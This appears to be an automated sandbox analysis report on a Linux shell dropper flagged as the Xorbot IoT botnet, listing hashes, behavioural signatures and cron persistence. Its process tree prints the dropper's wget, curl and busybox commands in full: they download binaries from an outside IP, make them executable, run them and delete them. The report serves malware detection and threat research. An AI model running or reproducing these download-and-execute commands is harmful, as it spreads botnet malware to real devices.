Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    01-12-2024 06:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3ec05170856171325b0751f5ea6d0ce2

  • SHA1

    1d4812ade6ba446cda12ccab01c5cf5f56d59f0d

  • SHA256

    32ddd9acfcf02bba66418510ea50f484e55774995e0fda1ec17661cf50fb7a5e

  • SHA512

    8581e8589806b577e6557e6ac83d77de355039ff8fc99fb11c60d9eccb8af27ccb6b5fe89f690a87d8d7ca0bcc67788d024594da0e8c8d008b9e3a7033c34b2f

  • SSDEEP

    96:8diayTnIZxJKu8fwckvve4VwaUUQ2c8XUQ2kgGdiayTnfZxfwckvvo48OPEZxJKU:86fwckvve4OaUUQUUQ8wckvvN8

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2116) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Writes file to tmp directory
          PID:711
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • File and Directory Permissions Modification
          PID:736
        • /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          ./znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Executes dropped EXE
          PID:737
        • /bin/rm
          rm znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
            PID:739
          • /usr/bin/wget
            wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Writes file to tmp directory
            PID:740
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            ./GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:754
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:756
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:758
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:760
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:761
                • /bin/rm
                  rm GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
                  2⤵
                    PID:773
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
                    2⤵
                      PID:778
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
                      2⤵
                        PID:780
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
                        2⤵
                        • Writes file to tmp directory
                        PID:851
                      • /bin/chmod
                        chmod 777 WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
                        2⤵
                        • File and Directory Permissions Modification
                        PID:883
                      • /tmp/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
                        ./WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
                        2⤵
                        • Executes dropped EXE
                        PID:884
                      • /bin/rm
                        rm WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
                        2⤵
                          PID:887
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                          2⤵
                            PID:888
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                            2⤵
                              PID:893
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                              2⤵
                              • Writes file to tmp directory
                              PID:894
                            • /bin/chmod
                              chmod 777 sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                              2⤵
                              • File and Directory Permissions Modification
                              PID:897
                            • /tmp/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                              ./sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                              2⤵
                              • Executes dropped EXE
                              PID:898
                            • /bin/rm
                              rm sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                              2⤵
                                PID:900
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                                2⤵
                                  PID:901
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                                  2⤵
                                    PID:902
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:903
                                  • /bin/chmod
                                    chmod 777 7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:904
                                  • /tmp/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                                    ./7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                                    2⤵
                                    • Executes dropped EXE
                                    PID:905
                                  • /bin/rm
                                    rm 7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                                    2⤵
                                      PID:911
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                                      2⤵
                                        PID:912
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                                        2⤵
                                          PID:913
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:914
                                        • /bin/chmod
                                          chmod 777 TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:915
                                        • /tmp/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                                          ./TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                                          2⤵
                                          • Executes dropped EXE
                                          PID:916
                                        • /bin/rm
                                          rm TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                                          2⤵
                                            PID:918
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                            2⤵
                                              PID:919
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                              2⤵
                                                PID:920
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:921
                                              • /bin/chmod
                                                chmod 777 5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:925
                                              • /tmp/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                                ./5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                                2⤵
                                                • Executes dropped EXE
                                                PID:926
                                              • /bin/rm
                                                rm 5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                                2⤵
                                                  PID:929
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                                                  2⤵
                                                    PID:930
                                                  • /usr/bin/curl
                                                    curl -O http://216.126.231.240/bins/Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                                                    2⤵
                                                      PID:933
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:940
                                                    • /bin/chmod
                                                      chmod 777 Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:949
                                                    • /tmp/Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                                                      ./Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:950
                                                    • /bin/rm
                                                      rm Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                                                      2⤵
                                                        PID:953
                                                      • /usr/bin/wget
                                                        wget http://216.126.231.240/bins/sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                                                        2⤵
                                                          PID:955
                                                        • /usr/bin/curl
                                                          curl -O http://216.126.231.240/bins/sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                                                          2⤵
                                                            PID:957
                                                          • /bin/busybox
                                                            /bin/busybox wget http://216.126.231.240/bins/sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:959
                                                          • /bin/chmod
                                                            chmod 777 sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:975
                                                          • /tmp/sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                                                            ./sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:976
                                                          • /bin/rm
                                                            rm sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                                                            2⤵
                                                              PID:977
                                                            • /usr/bin/wget
                                                              wget http://216.126.231.240/bins/itMoy2YR8PBfGr70RwLMUQpeQRahj09fnM
                                                              2⤵
                                                                PID:978

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • /tmp/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15

                                                              Filesize

                                                              111KB

                                                              MD5

                                                              701e7a55a4f3650f5feee92a9860e5fc

                                                              SHA1

                                                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                              SHA256

                                                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                              SHA512

                                                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                            • /tmp/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v

                                                              Filesize

                                                              177KB

                                                              MD5

                                                              786d75a158fe731feca3880f436082c0

                                                              SHA1

                                                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                              SHA256

                                                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                              SHA512

                                                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                            • /tmp/Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE

                                                              Filesize

                                                              122KB

                                                              MD5

                                                              cd3d4b9c643e5b473fb4d88ed05f0716

                                                              SHA1

                                                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                              SHA256

                                                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                              SHA512

                                                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                            • /tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8

                                                              Filesize

                                                              151KB

                                                              MD5

                                                              6c583043d91c55aa470c08c87058e917

                                                              SHA1

                                                              abf65a5b9bba69980278ad09356e53de8bb89439

                                                              SHA256

                                                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                              SHA512

                                                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                            • /tmp/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6

                                                              Filesize

                                                              127KB

                                                              MD5

                                                              89077b7bd4bcafca7713be43635c4862

                                                              SHA1

                                                              fc02edb8fba29ea8ee99e6157ef8560334530052

                                                              SHA256

                                                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                              SHA512

                                                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                            • /tmp/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY

                                                              Filesize

                                                              111KB

                                                              MD5

                                                              ca897a38f23ec23521ce0b1b83f8422d

                                                              SHA1

                                                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                              SHA256

                                                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                              SHA512

                                                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                            • /tmp/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL

                                                              Filesize

                                                              99KB

                                                              MD5

                                                              9438d9bc392bcf300a5583b6df5bc8f6

                                                              SHA1

                                                              375a6ae34b516f6f3eeea8030c4084f585017efa

                                                              SHA256

                                                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                              SHA512

                                                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                            • /tmp/sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5

                                                              Filesize

                                                              117KB

                                                              MD5

                                                              849fa04ef88a8e8de32cb2e8538de5fe

                                                              SHA1

                                                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                              SHA256

                                                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                              SHA512

                                                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                            • /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

                                                              Filesize

                                                              98KB

                                                              MD5

                                                              5141342d0df8699fa32a6b066a0c592e

                                                              SHA1

                                                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                              SHA256

                                                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                              SHA512

                                                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                            • /var/spool/cron/crontabs/tmp.lNLLJx

                                                              Filesize

                                                              210B

                                                              MD5

                                                              38ee13e7357fbc6c06222170564e07d0

                                                              SHA1

                                                              11b4467262df1766268dbbf01cc179eb57ef544a

                                                              SHA256

                                                              8b74062955ec8b36384fd2519021241f1c3f6eb4c5f8cf4531c68774ec279dc8

                                                              SHA512

                                                              15ed1799f5c307283eb931142a4c982892c0e9aa2ae97a30a97e56dc68695271340c28e61d691dd29d31fa4dda7d3a9aa6d12388912e9546b7f85e005bce57e1